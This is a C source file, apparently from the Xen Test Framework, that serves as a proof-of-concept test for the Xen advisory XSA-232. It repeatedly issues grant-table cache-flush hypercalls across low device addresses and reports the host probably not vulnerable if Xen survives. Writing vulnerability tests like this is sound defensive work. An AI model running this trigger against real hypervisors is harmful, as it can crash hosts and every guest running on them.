main.c

Go to the documentation of this file.

#include <xtf.h>

const char test_title[] = "XSA-232 PoC";

void test_main(void)
{
    struct gnttab_cache_flush flush = {
        .length = PAGE_SIZE,
        .op = GNTTAB_CACHE_INVAL | GNTTAB_CACHE_CLEAN,
    };

    for ( ; flush.a.dev_bus_addr < MB(1); flush.a.dev_bus_addr += PAGE_SIZE )
        hypercall_grant_table_op(GNTTABOP_cache_flush, &flush, 1);

    /* If Xen is alive at this point, it is probably not vulnerable. */

    xtf_success("Success: Probably not vulnerable to XSA-232\n");
}

/*
 * Local variables:
 * mode: C
 * c-file-style: "BSD"
 * c-basic-offset: 4
 * tab-width: 4
 * indent-tabs-mode: nil
 * End:
 */